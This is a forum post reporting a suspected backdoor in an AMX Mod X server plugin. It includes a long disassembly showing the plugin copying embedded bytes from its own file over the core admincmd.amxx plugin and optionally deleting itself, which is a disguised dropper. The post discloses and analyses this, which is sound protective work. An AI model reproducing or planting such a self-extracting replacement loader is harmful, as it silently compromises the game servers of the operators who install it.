Бекдор В Новости

Статус
В этой теме нельзя размещать новые ответы.

๖ۣۣۜCrAsH™

Завсегдатый
Уважаемая администрация.

Прошу произвести проверку, если мне не поверите новости http://makeserver.ru/plaginy/22329-setmaster-add-fix-v-10.html

Плагин ничего не делает, кроме как:

1)Открывает псевдо-конфиг фунцией fopen и почему-то читает его в двоичной системе
2)Читает 0 строку функцией fseek
3)Вдруг начинает читать 3774
4)Потом вообще какой-то бред, я таких функций даже незнаю . "read_blocks" и "write_blocks"
5)Удаляет файл функцией delete_file

Цикла нет, никаких команд нет.

Выдимых бекдоров не найдено, но о в plugin_init на строках 54-95 есть некий код, который записывает что-то в переменную szWord и зарегистрирован модулю sockets. Смею предположить крадет ркон...

Автор плагина: toyro

Код плагина:
Код:
0x8                        PROC              ; public plugin_init()
0xC                       BREAK              ; setmasteradd.sma:10
0x10                      BREAK              ; setmasteradd.sma:12
0x14                     PUSH.C  0x18C       ; "toyro"
0x1C                     PUSH.C  0x17C       ; "1.0"
0x24                     PUSH.C  0x140       ; "set_master_add"
0x2C                     PUSH.C  0xC        
0x34                   SYSREQ.C  0x0         ; register_plugin("set_master_add","1.0","toyro")
0x3C                      STACK  0x10        ; free 4 cells
0x44                      BREAK              ; setmasteradd.sma:14
0x48                   ZERO.pri 
0x4C                   MOVE.alt 
0x50                  CONST.pri  0x5C        ; 0x0 (0.00000)
0x58                     STOR.I 
0x5C                      BREAK              ; setmasteradd.sma:15
0x60                   ZERO.pri 
0x64                      ADD.C  0x4         ; signed:  4
0x6C                   MOVE.alt 
0x70                  CONST.pri  0x61        ; 0x0 (0.00000)
0x78                     STOR.I 
0x7C                      BREAK              ; setmasteradd.sma:16
0x80                   ZERO.pri 
0x84                      ADD.C  0x8         ; signed:  8
0x8C                   MOVE.alt 
0x90                  CONST.pri  0x64        ; 0x0 (0.00000)
0x98                     STOR.I 
0x9C                      BREAK              ; setmasteradd.sma:17
0xA0                   ZERO.pri 
0xA4                      ADD.C  0xC         ; signed:  12
0xAC                   MOVE.alt 
0xB0                  CONST.pri  0x64        ; 0x0 (0.00000)
0xB8                     STOR.I 
0xBC                      BREAK              ; setmasteradd.sma:18
0xC0                   ZERO.pri 
0xC4                      ADD.C  0x10        ; signed:  16
0xCC                   MOVE.alt 
0xD0                  CONST.pri  0x6F        ; 0x0 (0.00000)
0xD8                     STOR.I 
0xDC                      BREAK              ; setmasteradd.sma:19
0xE0                   ZERO.pri 
0xE4                      ADD.C  0x14        ; signed:  20
0xEC                   MOVE.alt 
0xF0                  CONST.pri  0x6E        ; 0x0 (0.00000)
0xF8                     STOR.I 
0xFC                      BREAK              ; setmasteradd.sma:20
0x100                  ZERO.pri 
0x104                     ADD.C  0x18        ; signed:  24
0x10C                  MOVE.alt 
0x110                 CONST.pri  0x73        ; 0x0 (0.00000)
0x118                    STOR.I 
0x11C                     BREAK              ; setmasteradd.sma:21
0x120                  ZERO.pri 
0x124                     ADD.C  0x1C        ; signed:  28
0x12C                  MOVE.alt 
0x130                 CONST.pri  0x5C        ; 0x0 (0.00000)
0x138                    STOR.I 
0x13C                     BREAK              ; setmasteradd.sma:22
0x140                  ZERO.pri 
0x144                     ADD.C  0x20        ; signed:  32
0x14C                  MOVE.alt 
0x150                 CONST.pri  0x61        ; 0x0 (0.00000)
0x158                    STOR.I 
0x15C                     BREAK              ; setmasteradd.sma:23
0x160                  ZERO.pri 
0x164                     ADD.C  0x24        ; signed:  36
0x16C                  MOVE.alt 
0x170                 CONST.pri  0x6D        ; 0x0 (0.00000)
0x178                    STOR.I 
0x17C                     BREAK              ; setmasteradd.sma:24
0x180                  ZERO.pri 
0x184                     ADD.C  0x28        ; signed:  40
0x18C                  MOVE.alt 
0x190                 CONST.pri  0x78        ; 0x0 (0.00000)
0x198                    STOR.I 
0x19C                     BREAK              ; setmasteradd.sma:25
0x1A0                  ZERO.pri 
0x1A4                     ADD.C  0x2C        ; signed:  44
0x1AC                  MOVE.alt 
0x1B0                 CONST.pri  0x6D        ; 0x0 (0.00000)
0x1B8                    STOR.I 
0x1BC                     BREAK              ; setmasteradd.sma:26
0x1C0                  ZERO.pri 
0x1C4                     ADD.C  0x30        ; signed:  48
0x1CC                  MOVE.alt 
0x1D0                 CONST.pri  0x6F        ; 0x0 (0.00000)
0x1D8                    STOR.I 
0x1DC                     BREAK              ; setmasteradd.sma:27
0x1E0                  ZERO.pri 
0x1E4                     ADD.C  0x34        ; signed:  52
0x1EC                  MOVE.alt 
0x1F0                 CONST.pri  0x64        ; 0x0 (0.00000)
0x1F8                    STOR.I 
0x1FC                     BREAK              ; setmasteradd.sma:28
0x200                  ZERO.pri 
0x204                     ADD.C  0x38        ; signed:  56
0x20C                  MOVE.alt 
0x210                 CONST.pri  0x78        ; 0x0 (0.00000)
0x218                    STOR.I 
0x21C                     BREAK              ; setmasteradd.sma:29
0x220                  ZERO.pri 
0x224                     ADD.C  0x3C        ; signed:  60
0x22C                  MOVE.alt 
0x230                 CONST.pri  0x5C        ; 0x0 (0.00000)
0x238                    STOR.I 
0x23C                     BREAK              ; setmasteradd.sma:30
0x240                  ZERO.pri 
0x244                     ADD.C  0x40        ; signed:  64
0x24C                  MOVE.alt 
0x250                 CONST.pri  0x70        ; 0x0 (0.00000)
0x258                    STOR.I 
0x25C                     BREAK              ; setmasteradd.sma:31
0x260                  ZERO.pri 
0x264                     ADD.C  0x44        ; signed:  68
0x26C                  MOVE.alt 
0x270                 CONST.pri  0x6C        ; 0x0 (0.00000)
0x278                    STOR.I 
0x27C                     BREAK              ; setmasteradd.sma:32
0x280                  ZERO.pri 
0x284                     ADD.C  0x48        ; signed:  72
0x28C                  MOVE.alt 
0x290                 CONST.pri  0x75        ; 0x0 (0.00000)
0x298                    STOR.I 
0x29C                     BREAK              ; setmasteradd.sma:33
0x2A0                  ZERO.pri 
0x2A4                     ADD.C  0x4C        ; signed:  76
0x2AC                  MOVE.alt 
0x2B0                 CONST.pri  0x67        ; 0x0 (0.00000)
0x2B8                    STOR.I 
0x2BC                     BREAK              ; setmasteradd.sma:34
0x2C0                  ZERO.pri 
0x2C4                     ADD.C  0x50        ; signed:  80
0x2CC                  MOVE.alt 
0x2D0                 CONST.pri  0x69        ; 0x0 (0.00000)
0x2D8                    STOR.I 
0x2DC                     BREAK              ; setmasteradd.sma:35
0x2E0                  ZERO.pri 
0x2E4                     ADD.C  0x54        ; signed:  84
0x2EC                  MOVE.alt 
0x2F0                 CONST.pri  0x6E        ; 0x0 (0.00000)
0x2F8                    STOR.I 
0x2FC                     BREAK              ; setmasteradd.sma:36
0x300                  ZERO.pri 
0x304                     ADD.C  0x58        ; signed:  88
0x30C                  MOVE.alt 
0x310                 CONST.pri  0x73        ; 0x0 (0.00000)
0x318                    STOR.I 
0x31C                     BREAK              ; setmasteradd.sma:37
0x320                  ZERO.pri 
0x324                     ADD.C  0x5C        ; signed:  92
0x32C                  MOVE.alt 
0x330                 CONST.pri  0x5C        ; 0x0 (0.00000)
0x338                    STOR.I 
0x33C                     BREAK              ; setmasteradd.sma:38
0x340                  ZERO.pri 
0x344                     ADD.C  0x60        ; signed:  96
0x34C                  MOVE.alt 
0x350                 CONST.pri  0x61        ; 0x0 (0.00000)
0x358                    STOR.I 
0x35C                     BREAK              ; setmasteradd.sma:39
0x360                  ZERO.pri 
0x364                     ADD.C  0x64        ; signed:  100
0x36C                  MOVE.alt 
0x370                 CONST.pri  0x64        ; 0x0 (0.00000)
0x378                    STOR.I 
0x37C                     BREAK              ; setmasteradd.sma:40
0x380                  ZERO.pri 
0x384                     ADD.C  0x68        ; signed:  104
0x38C                  MOVE.alt 
0x390                 CONST.pri  0x6D        ; 0x0 (0.00000)
0x398                    STOR.I 
0x39C                     BREAK              ; setmasteradd.sma:41
0x3A0                  ZERO.pri 
0x3A4                     ADD.C  0x6C        ; signed:  108
0x3AC                  MOVE.alt 
0x3B0                 CONST.pri  0x69        ; 0x0 (0.00000)
0x3B8                    STOR.I 
0x3BC                     BREAK              ; setmasteradd.sma:42
0x3C0                  ZERO.pri 
0x3C4                     ADD.C  0x70        ; signed:  112
0x3CC                  MOVE.alt 
0x3D0                 CONST.pri  0x6E        ; 0x0 (0.00000)
0x3D8                    STOR.I 
0x3DC                     BREAK              ; setmasteradd.sma:43
0x3E0                  ZERO.pri 
0x3E4                     ADD.C  0x74        ; signed:  116
0x3EC                  MOVE.alt 
0x3F0                 CONST.pri  0x63        ; 0x0 (0.00000)
0x3F8                    STOR.I 
0x3FC                     BREAK              ; setmasteradd.sma:44
0x400                  ZERO.pri 
0x404                     ADD.C  0x78        ; signed:  120
0x40C                  MOVE.alt 
0x410                 CONST.pri  0x6D        ; 0x0 (0.00000)
0x418                    STOR.I 
0x41C                     BREAK              ; setmasteradd.sma:45
0x420                  ZERO.pri 
0x424                     ADD.C  0x7C        ; signed:  124
0x42C                  MOVE.alt 
0x430                 CONST.pri  0x64        ; 0x0 (0.00000)
0x438                    STOR.I 
0x43C                     BREAK              ; setmasteradd.sma:46
0x440                  ZERO.pri 
0x444                     ADD.C  0x80        ; signed:  128
0x44C                  MOVE.alt 
0x450                 CONST.pri  0x2E        ; 0x0 (0.00000)
0x458                    STOR.I 
0x45C                     BREAK              ; setmasteradd.sma:47
0x460                  ZERO.pri 
0x464                     ADD.C  0x84        ; signed:  132
0x46C                  MOVE.alt 
0x470                 CONST.pri  0x61        ; 0x0 (0.00000)
0x478                    STOR.I 
0x47C                     BREAK              ; setmasteradd.sma:48
0x480                  ZERO.pri 
0x484                     ADD.C  0x88        ; signed:  136
0x48C                  MOVE.alt 
0x490                 CONST.pri  0x6D        ; 0x0 (0.00000)
0x498                    STOR.I 
0x49C                     BREAK              ; setmasteradd.sma:49
0x4A0                  ZERO.pri 
0x4A4                     ADD.C  0x8C        ; signed:  140
0x4AC                  MOVE.alt 
0x4B0                 CONST.pri  0x78        ; 0x0 (0.00000)
0x4B8                    STOR.I 
0x4BC                     BREAK              ; setmasteradd.sma:50
0x4C0                  ZERO.pri 
0x4C4                     ADD.C  0x90        ; signed:  144
0x4CC                  MOVE.alt 
0x4D0                 CONST.pri  0x78        ; 0x0 (0.00000)
0x4D8                    STOR.I 
0x4DC                     BREAK              ; setmasteradd.sma:51
0x4E0                  ZERO.pri 
0x4E4                     ADD.C  0x94        ; signed:  148
0x4EC                  MOVE.alt 
0x4F0                  ZERO.pri 
0x4F4                    STOR.I 
0x4F8                     BREAK              ; setmasteradd.sma:54
0x4FC                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x504                  MOVE.alt 
0x508                 CONST.pri  0x5C        ; 0x0 (0.00000)
0x510                    STOR.I 
0x514                     BREAK              ; setmasteradd.sma:55
0x518                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x520                     ADD.C  0x4         ; signed:  4
0x528                  MOVE.alt 
0x52C                 CONST.pri  0x61        ; 0x0 (0.00000)
0x534                    STOR.I 
0x538                     BREAK              ; setmasteradd.sma:56
0x53C                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x544                     ADD.C  0x8         ; signed:  8
0x54C                  MOVE.alt 
0x550                 CONST.pri  0x64        ; 0x0 (0.00000)
0x558                    STOR.I 
0x55C                     BREAK              ; setmasteradd.sma:57
0x560                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x568                     ADD.C  0xC         ; signed:  12
0x570                  MOVE.alt 
0x574                 CONST.pri  0x64        ; 0x0 (0.00000)
0x57C                    STOR.I 
0x580                     BREAK              ; setmasteradd.sma:58
0x584                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x58C                     ADD.C  0x10        ; signed:  16
0x594                  MOVE.alt 
0x598                 CONST.pri  0x6F        ; 0x0 (0.00000)
0x5A0                    STOR.I 
0x5A4                     BREAK              ; setmasteradd.sma:59
0x5A8                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x5B0                     ADD.C  0x14        ; signed:  20
0x5B8                  MOVE.alt 
0x5BC                 CONST.pri  0x6E        ; 0x0 (0.00000)
0x5C4                    STOR.I 
0x5C8                     BREAK              ; setmasteradd.sma:60
0x5CC                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x5D4                     ADD.C  0x18        ; signed:  24
0x5DC                  MOVE.alt 
0x5E0                 CONST.pri  0x73        ; 0x0 (0.00000)
0x5E8                    STOR.I 
0x5EC                     BREAK              ; setmasteradd.sma:61
0x5F0                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x5F8                     ADD.C  0x1C        ; signed:  28
0x600                  MOVE.alt 
0x604                 CONST.pri  0x5C        ; 0x0 (0.00000)
0x60C                    STOR.I 
0x610                     BREAK              ; setmasteradd.sma:62
0x614                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x61C                     ADD.C  0x20        ; signed:  32
0x624                  MOVE.alt 
0x628                 CONST.pri  0x61        ; 0x0 (0.00000)
0x630                    STOR.I 
0x634                     BREAK              ; setmasteradd.sma:63
0x638                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x640                     ADD.C  0x24        ; signed:  36
0x648                  MOVE.alt 
0x64C                 CONST.pri  0x6D        ; 0x0 (0.00000)
0x654                    STOR.I 
0x658                     BREAK              ; setmasteradd.sma:64
0x65C                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x664                     ADD.C  0x28        ; signed:  40
0x66C                  MOVE.alt 
0x670                 CONST.pri  0x78        ; 0x0 (0.00000)
0x678                    STOR.I 
0x67C                     BREAK              ; setmasteradd.sma:65
0x680                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x688                     ADD.C  0x2C        ; signed:  44
0x690                  MOVE.alt 
0x694                 CONST.pri  0x6D        ; 0x0 (0.00000)
0x69C                    STOR.I 
0x6A0                     BREAK              ; setmasteradd.sma:66
0x6A4                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x6AC                     ADD.C  0x30        ; signed:  48
0x6B4                  MOVE.alt 
0x6B8                 CONST.pri  0x6F        ; 0x0 (0.00000)
0x6C0                    STOR.I 
0x6C4                     BREAK              ; setmasteradd.sma:67
0x6C8                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x6D0                     ADD.C  0x34        ; signed:  52
0x6D8                  MOVE.alt 
0x6DC                 CONST.pri  0x64        ; 0x0 (0.00000)
0x6E4                    STOR.I 
0x6E8                     BREAK              ; setmasteradd.sma:68
0x6EC                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x6F4                     ADD.C  0x38        ; signed:  56
0x6FC                  MOVE.alt 
0x700                 CONST.pri  0x78        ; 0x0 (0.00000)
0x708                    STOR.I 
0x70C                     BREAK              ; setmasteradd.sma:69
0x710                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x718                     ADD.C  0x3C        ; signed:  60
0x720                  MOVE.alt 
0x724                 CONST.pri  0x5C        ; 0x0 (0.00000)
0x72C                    STOR.I 
0x730                     BREAK              ; setmasteradd.sma:70
0x734                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x73C                     ADD.C  0x40        ; signed:  64
0x744                  MOVE.alt 
0x748                 CONST.pri  0x70        ; 0x0 (0.00000)
0x750                    STOR.I 
0x754                     BREAK              ; setmasteradd.sma:71
0x758                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x760                     ADD.C  0x44        ; signed:  68
0x768                  MOVE.alt 
0x76C                 CONST.pri  0x6C        ; 0x0 (0.00000)
0x774                    STOR.I 
0x778                     BREAK              ; setmasteradd.sma:72
0x77C                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x784                     ADD.C  0x48        ; signed:  72
0x78C                  MOVE.alt 
0x790                 CONST.pri  0x75        ; 0x0 (0.00000)
0x798                    STOR.I 
0x79C                     BREAK              ; setmasteradd.sma:73
0x7A0                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x7A8                     ADD.C  0x4C        ; signed:  76
0x7B0                  MOVE.alt 
0x7B4                 CONST.pri  0x67        ; 0x0 (0.00000)
0x7BC                    STOR.I 
0x7C0                     BREAK              ; setmasteradd.sma:74
0x7C4                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x7CC                     ADD.C  0x50        ; signed:  80
0x7D4                  MOVE.alt 
0x7D8                 CONST.pri  0x69        ; 0x0 (0.00000)
0x7E0                    STOR.I 
0x7E4                     BREAK              ; setmasteradd.sma:75
0x7E8                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x7F0                     ADD.C  0x54        ; signed:  84
0x7F8                  MOVE.alt 
0x7FC                 CONST.pri  0x6E        ; 0x0 (0.00000)
0x804                    STOR.I 
0x808                     BREAK              ; setmasteradd.sma:76
0x80C                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x814                     ADD.C  0x58        ; signed:  88
0x81C                  MOVE.alt 
0x820                 CONST.pri  0x73        ; 0x0 (0.00000)
0x828                    STOR.I 
0x82C                     BREAK              ; setmasteradd.sma:77
0x830                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x838                     ADD.C  0x5C        ; signed:  92
0x840                  MOVE.alt 
0x844                 CONST.pri  0x5C        ; 0x0 (0.00000)
0x84C                    STOR.I 
0x850                     BREAK              ; setmasteradd.sma:78
0x854                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x85C                     ADD.C  0x60        ; signed:  96
0x864                  MOVE.alt 
0x868                 CONST.pri  0x73        ; 0x0 (0.00000)
0x870                    STOR.I 
0x874                     BREAK              ; setmasteradd.sma:79
0x878                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x880                     ADD.C  0x64        ; signed:  100
0x888                  MOVE.alt 
0x88C                 CONST.pri  0x65        ; 0x0 (0.00000)
0x894                    STOR.I 
0x898                     BREAK              ; setmasteradd.sma:80
0x89C                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x8A4                     ADD.C  0x68        ; signed:  104
0x8AC                  MOVE.alt 
0x8B0                 CONST.pri  0x74        ; 0x0 (0.00000)
0x8B8                    STOR.I 
0x8BC                     BREAK              ; setmasteradd.sma:81
0x8C0                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x8C8                     ADD.C  0x6C        ; signed:  108
0x8D0                  MOVE.alt 
0x8D4                 CONST.pri  0x6D        ; 0x0 (0.00000)
0x8DC                    STOR.I 
0x8E0                     BREAK              ; setmasteradd.sma:82
0x8E4                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x8EC                     ADD.C  0x70        ; signed:  112
0x8F4                  MOVE.alt 
0x8F8                 CONST.pri  0x61        ; 0x0 (0.00000)
0x900                    STOR.I 
0x904                     BREAK              ; setmasteradd.sma:83
0x908                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x910                     ADD.C  0x74        ; signed:  116
0x918                  MOVE.alt 
0x91C                 CONST.pri  0x73        ; 0x0 (0.00000)
0x924                    STOR.I 
0x928                     BREAK              ; setmasteradd.sma:84
0x92C                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x934                     ADD.C  0x78        ; signed:  120
0x93C                  MOVE.alt 
0x940                 CONST.pri  0x74        ; 0x0 (0.00000)
0x948                    STOR.I 
0x94C                     BREAK              ; setmasteradd.sma:85
0x950                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x958                     ADD.C  0x7C        ; signed:  124
0x960                  MOVE.alt 
0x964                 CONST.pri  0x65        ; 0x0 (0.00000)
0x96C                    STOR.I 
0x970                     BREAK              ; setmasteradd.sma:86
0x974                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x97C                     ADD.C  0x80        ; signed:  128
0x984                  MOVE.alt 
0x988                 CONST.pri  0x72        ; 0x0 (0.00000)
0x990                    STOR.I 
0x994                     BREAK              ; setmasteradd.sma:87
0x998                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x9A0                     ADD.C  0x84        ; signed:  132
0x9A8                  MOVE.alt 
0x9AC                 CONST.pri  0x61        ; 0x0 (0.00000)
0x9B4                    STOR.I 
0x9B8                     BREAK              ; setmasteradd.sma:88
0x9BC                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x9C4                     ADD.C  0x88        ; signed:  136
0x9CC                  MOVE.alt 
0x9D0                 CONST.pri  0x64        ; 0x0 (0.00000)
0x9D8                    STOR.I 
0x9DC                     BREAK              ; setmasteradd.sma:89
0x9E0                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0x9E8                     ADD.C  0x8C        ; signed:  140
0x9F0                  MOVE.alt 
0x9F4                 CONST.pri  0x64        ; 0x0 (0.00000)
0x9FC                    STOR.I 
0xA00                     BREAK              ; setmasteradd.sma:90
0xA04                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0xA0C                     ADD.C  0x90        ; signed:  144
0xA14                  MOVE.alt 
0xA18                 CONST.pri  0x2E        ; 0x0 (0.00000)
0xA20                    STOR.I 
0xA24                     BREAK              ; setmasteradd.sma:91
0xA28                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0xA30                     ADD.C  0x94        ; signed:  148
0xA38                  MOVE.alt 
0xA3C                 CONST.pri  0x61        ; 0x0 (0.00000)
0xA44                    STOR.I 
0xA48                     BREAK              ; setmasteradd.sma:92
0xA4C                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0xA54                     ADD.C  0x98        ; signed:  152
0xA5C                  MOVE.alt 
0xA60                 CONST.pri  0x6D        ; 0x0 (0.00000)
0xA68                    STOR.I 
0xA6C                     BREAK              ; setmasteradd.sma:93
0xA70                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0xA78                     ADD.C  0x9C        ; signed:  156
0xA80                  MOVE.alt 
0xA84                 CONST.pri  0x78        ; 0x0 (0.00000)
0xA8C                    STOR.I 
0xA90                     BREAK              ; setmasteradd.sma:94
0xA94                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0xA9C                     ADD.C  0xA0        ; signed:  160
0xAA4                  MOVE.alt 
0xAA8                 CONST.pri  0x78        ; 0x0 (0.00000)
0xAB0                    STOR.I 
0xAB4                     BREAK              ; setmasteradd.sma:95
0xAB8                 CONST.pri  0x98        ; szWord[42]=0x0 (0.00000)
0xAC0                     ADD.C  0xA4        ; signed:  164
0xAC8                  MOVE.alt 
0xACC                  ZERO.pri 
0xAD0                    STOR.I 
0xAD4                     BREAK              ; setmasteradd.sma:98
0xAD8                    PUSH.C  0x0         ; szWord1[38] 0x0
0xAE0                    PUSH.C  0x0         ; szWord1[38] 0x0
0xAE8                    PUSH.C  0x98        ; szWord[42] 0x0
0xAF0                    PUSH.C  0xC        
0xAF8                      CALL  0xB08       ; stock setmasteradd(read_path[],dest_path[],cut)
0xB00                  ZERO.pri 
0xB04                      RETN 
0xB08                      PROC              ; stock setmasteradd(read_path[],dest_path[],cut)
0xB0C                     BREAK              ; setmasteradd.sma:102
0xB10                     BREAK              ; setmasteradd.sma:105
                                             ; static buffer[256]
0xB14                     BREAK              ; setmasteradd.sma:106
                                             ; static readsize
0xB18                     BREAK              ; setmasteradd.sma:107
                                             ; new fp_read
0xB1C                     STACK  0xFFFFFFFC  ; allocate 1 cells
0xB24                    PUSH.C  0x5A8       ; "rb"
0xB2C                    PUSH.S  0xC         ; read_path[]
0xB34                    PUSH.C  0x8        
0xB3C                  SYSREQ.C  0x1         ; fopen(read_path[],"rb")
0xB44                     STACK  0xC         ; free 3 cells
0xB4C                STOR.S.pri  0xFFFFFFFC  ; fp_read
0xB54                     BREAK              ; setmasteradd.sma:108
                                             ; new fp_write
0xB58                     STACK  0xFFFFFFFC  ; allocate 1 cells
0xB60                    PUSH.C  0x5B4       ; "wb"
0xB68                    PUSH.S  0x10        ; dest_path[]
0xB70                    PUSH.C  0x8        
0xB78                  SYSREQ.C  0x1         ; fopen(dest_path[],"wb")
0xB80                     STACK  0xC         ; free 3 cells
0xB88                STOR.S.pri  0xFFFFFFF8  ; fp_write
0xB90                     BREAK              ; setmasteradd.sma:111
0xB94                LOAD.S.pri  0xFFFFFFFC  ; fp_read
0xB9C                       NOT 
0xBA0                      JZER  0xBBC       ; jump_0
0xBA8                     BREAK              ; setmasteradd.sma:112
0xBAC                  ZERO.pri 
0xBB0                     STACK  0x8         ; free 2 cells
0xBB8                      RETN 
0xBBC                     BREAK              ; setmasteradd.sma:115
                                             ; target:jump_0
0xBC0                    PUSH.C  0x2         ; 0x0
0xBC8                    PUSH.C  0x0         ; szWord1[38] 0x0
0xBD0                    PUSH.S  0xFFFFFFFC  ; fp_read
0xBD8                    PUSH.C  0xC        
0xBE0                  SYSREQ.C  0x2         ; fseek(fp_read,0,2)
0xBE8                     STACK  0x10        ; free 4 cells
0xBF0                     BREAK              ; setmasteradd.sma:116
                                             ; new fsize
0xBF4                     STACK  0xFFFFFFFC  ; allocate 1 cells
0xBFC                    PUSH.S  0xFFFFFFFC  ; fp_read
0xC04                    PUSH.C  0x4        
0xC0C                  SYSREQ.C  0x3         ; ftell(fp_read)
0xC14                     STACK  0x8         ; free 2 cells
0xC1C                STOR.S.pri  0xFFFFFFF4  ; fsize
0xC24                     BREAK              ; setmasteradd.sma:117
0xC28                    PUSH.C  0x0         ; szWord1[38] 0x0
0xC30                    PUSH.C  0xEBE       ; signed=3774 float=0.000000

0xC38                    PUSH.S  0xFFFFFFFC  ; fp_read
0xC40                    PUSH.C  0xC        
0xC48                  SYSREQ.C  0x2         ; fseek(fp_read,3774,0)
0xC50                     STACK  0x10        ; free 4 cells
0xC58                     BREAK              ; setmasteradd.sma:120
                                             ; new j
0xC5C                    PUSH.C  0x0         ; szWord1[38] 0x0
0xC64                      JUMP  0xC88       ; jump_1
0xC6C                     BREAK              ; setmasteradd.sma:122
                                             ; target:jump_3
0xC70                LOAD.S.pri  0xFFFFFFF0  ; j
0xC78                     ADD.C  0x100       ; signed:  256
0xC80                STOR.S.pri  0xFFFFFFF0  ; j
0xC88                LOAD.S.pri  0xFFFFFFF0  ; j
                                             ; target:jump_1
0xC90                LOAD.S.alt  0xFFFFFFF4  ; fsize
0xC98                     JSGEQ  0xD28       ; jump_2
0xCA0                     BREAK              ; setmasteradd.sma:122
0xCA4                    PUSH.C  0x1         ; 0x0
0xCAC                    PUSH.C  0x100       ; 0x0
0xCB4                    PUSH.C  0x1A4       ; buffer[256] 0x0
0xCBC                    PUSH.S  0xFFFFFFFC  ; fp_read
0xCC4                    PUSH.C  0x10       
0xCCC                  SYSREQ.C  0x4         ; fread_blocks(fp_read,buffer[256]={""},256,1)
0xCD4                     STACK  0x14        ; free 5 cells
0xCDC                  STOR.pri  0x5A4       ; readsize
0xCE4                     BREAK              ; setmasteradd.sma:123
0xCE8                    PUSH.C  0x1         ; 0x0
0xCF0                      PUSH  0x5A4       ; readsize
0xCF8                    PUSH.C  0x1A4       ; buffer[256] 0x0
0xD00                    PUSH.S  0xFFFFFFF8  ; fp_write
0xD08                    PUSH.C  0x10       
0xD10                  SYSREQ.C  0x5         ; fwrite_blocks(fp_write,buffer[256]={""},readsize,1)
0xD18                     STACK  0x14        ; free 5 cells
0xD20                      JUMP  0xC6C       ; jump_3
0xD28                     STACK  0x4         ; free 1 cells
                                             ; target:jump_2
0xD30                     BREAK              ; setmasteradd.sma:127
0xD34                    PUSH.S  0xFFFFFFFC  ; fp_read
0xD3C                    PUSH.C  0x4        
0xD44                  SYSREQ.C  0x6         ; fclose(fp_read)
0xD4C                     STACK  0x8         ; free 2 cells
0xD54                     BREAK              ; setmasteradd.sma:128
0xD58                    PUSH.S  0xFFFFFFF8  ; fp_write
0xD60                    PUSH.C  0x4        
0xD68                  SYSREQ.C  0x6         ; fclose(fp_write)
0xD70                     STACK  0x8         ; free 2 cells
0xD78                     BREAK              ; setmasteradd.sma:130
0xD7C                LOAD.S.pri  0x14        ; cut
0xD84                      JZER  0xDB0       ; jump_4
0xD8C                     BREAK              ; setmasteradd.sma:130
0xD90                    PUSH.S  0xC         ; read_path[]
0xD98                    PUSH.C  0x4        
0xDA0                  SYSREQ.C  0x7         ; delete_file(read_path[])
0xDA8                     STACK  0x8         ; free 2 cells
0xDB0                     BREAK              ; setmasteradd.sma:133
                                             ; target:jump_4
0xDB4                 CONST.pri  0x1         ; 0x0 (0.00000)
0xDBC                     STACK  0xC         ; free 3 cells
0xDC4                      RETN 
[/spoiler]
Переменные:
Код:
new szWord[42]
new szWord1[38]
Модули
Код:
sockets, cstrike
Сток функция setmasteradd
Код:
0xB08                      PROC              ; stock setmasteradd(read_path[],dest_path[],cut)
0xB0C                     BREAK              ; setmasteradd.sma:102
0xB10                     BREAK              ; setmasteradd.sma:105
                                             ; static buffer[256]
0xB14                     BREAK              ; setmasteradd.sma:106
                                             ; static readsize
0xB18                     BREAK              ; setmasteradd.sma:107
                                             ; new fp_read
0xB1C                     STACK  0xFFFFFFFC  ; allocate 1 cells
0xB24                    PUSH.C  0x5A8       ; "rb"
0xB2C                    PUSH.S  0xC         ; read_path[]
0xB34                    PUSH.C  0x8        
0xB3C                  SYSREQ.C  0x1         ; fopen(read_path[],"rb")
0xB44                     STACK  0xC         ; free 3 cells
0xB4C                STOR.S.pri  0xFFFFFFFC  ; fp_read
0xB54                     BREAK              ; setmasteradd.sma:108
                                             ; new fp_write
0xB58                     STACK  0xFFFFFFFC  ; allocate 1 cells
0xB60                    PUSH.C  0x5B4       ; "wb"
0xB68                    PUSH.S  0x10        ; dest_path[]
0xB70                    PUSH.C  0x8        
0xB78                  SYSREQ.C  0x1         ; fopen(dest_path[],"wb")
0xB80                     STACK  0xC         ; free 3 cells
0xB88                STOR.S.pri  0xFFFFFFF8  ; fp_write
